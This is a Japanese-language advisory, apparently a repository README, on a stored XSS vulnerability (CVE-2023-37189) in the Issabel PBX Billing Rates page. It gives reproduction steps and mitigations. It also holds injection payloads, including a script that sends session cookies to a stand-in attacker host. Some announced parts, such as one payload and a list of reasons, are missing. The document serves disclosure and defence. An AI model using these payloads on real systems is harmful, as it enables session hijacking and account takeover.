
Issabel PBX バージョン 4.0.0-6 の Billing Rates 管理ページ(index.php?menu=billing_rates)に、保存型クロスサイトスクリプティング(XSS)の脆弱性が存在します。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2023-37189 |
| 脆弱性 | 格納型クロスサイトスクリプティング (XSS) |
| 影響を受ける製品 | Issabel PBX 4.0.0-6 |
| 影響を受ける URL | index.php?menu=billing_rates |
| 脆弱なフィールド | Create New Rate モジュールの Name および Prefix フィールド |
| 深刻度 | 中 (CVSS 3.1 ベーススコア: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| 報告日 | 2023年7月7日 |
| 発見者 | Sahil Ojha |
| テスト環境 | Windows |
| ベンダーホームページ | https://www.issabel.org/ |
| ソフトウェアソース | https://github.com/IssabelFoundation/issabelPBX |
Issabel PBX バージョン 4.0.0-6 の Billing Rates 管理ページ (index.php?menu=billing_rates) に、格納型クロスサイトスクリプティング (XSS) の脆弱性が存在します。
Issabel PBX は、FreePBX/Asterisk 上に構築された広く使用されているオープンソースのユニファイドコミュニケーション (UC) プラットフォームです。その Billing → Rates 機能により、管理者はカスタムの Name と Prefix を持つ通話料金エントリを定義できます。入力のサニタイズと出力のエンコーディングが不十分なため、認証された攻撃者はどちらかのフィールドに任意の HTML または JavaScript を注入できます。悪意のあるスクリプトはアプリケーションのデータベースに永続的に保存され、その後 Rates ページにアクセスしたすべてのユーザー (他の管理者を含む) のブラウザ上で、追加の操作なしに自動的に実行されます。
この種の脆弱性は、管理パネルでは特に危険です。なぜなら:
Name フィールドと Prefix フィールドに対する HTML エンコーディング / 出力サニタイズが欠如していること。以下のペイロードを Create New Rate フォームの Name または Prefix フィールドに入力すると、この脆弱性を実証できます:
基本のアラート (機能確認):
<script>alert('XSS')</script>
セッションクッキーの窃取 (attacker.example.com は、自分が所有し使用を許可されているサーバーに置き換えてください — 実際のユーザーやシステムを標的にしないでください):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
画像ベースの onerror ペイロード (WAF バイパス):
⚠️ 注記: これらのペイロードは、教育およびセキュリティ研究の目的のみで提供されています。所有していないシステムでテストする前に、必ず適切な書面による許可を取得してください。
管理者アカウントを使用して Issabel PBX の Web インターフェースにログインします。
Reports → Billing → Rates に移動します (URL: index.php?menu=billing_rates)。
"Create New Rate" をクリックし、Prefix または Name フィールドに細工した XSS ペイロードを入力します。

Save をクリックします。ペイロードはデータベースに保存されます。
Billing Rates ページにアクセスしたすべてのユーザー (他の管理者を含む) は、ブラウザ上でスクリプトが自動的に実行されます。


ベンダーとシステム管理者は、以下の対策を適用することを推奨します:
htmlspecialchars() を ENT_QUOTES とともに使用)。これは XSS に対する最も重要かつ信頼性の高い防御策です。<, >, ", ', &) を除去またはエンコードします。入力検証のみではバイパスされる可能性があるため、唯一の対策として依存すべきではないことに注意してください。Content-Security-Policy HTTP ヘッダーを展開します。このリポジトリおよびここに含まれる情報は、教育およびセキュリティ研究目的のみで提供されています。著者は、提供された情報によって引き起こされた誤用や損害について一切の責任を負いません。セキュリティテストを実施する前に、必ずシステム所有者から明示的な書面による許可を取得してください。
発見および報告: Sahil Ojha